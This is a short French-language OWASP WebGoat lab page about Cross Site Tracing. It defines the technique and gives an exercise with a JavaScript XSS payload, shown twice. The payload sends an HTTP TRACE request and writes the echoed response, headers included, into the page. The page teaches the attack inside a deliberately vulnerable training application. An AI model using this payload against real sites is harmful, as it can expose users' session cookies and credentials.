OWASP WebGoat:Cross Site Tracing Attacks
Jump to navigation
Jump to search
Cross Site Tracing (XST) Attacks
Définition
Le Cross site tracing, abrégé XST, est une manière d'exploiter les failles de sécurité de type XSS, mettant à profit la méthode TRACE du protocole HTTP.
Source: Source : http://fr.wikipedia.org/wiki/Cross_site_tracing
Exercice
Insérer le code suivant (sur une seule ligne) dans le champ "Enter your three digit access code" :
<script type="text/javascript"> if ( navigator.appName.indexOf("Microsoft") !=-1) { var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); xmlHttp.open("TRACE", "./", false); xmlHttp.send(); str1 = xmlHttp.responseText; while (str1.indexOf("\n") > -1) { str1 = str1.replace("\n","
"); } document.write(str1); } </script>
Ce qui donne (sur une seule ligne) :
<script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","
"); document.write(str1);}</script>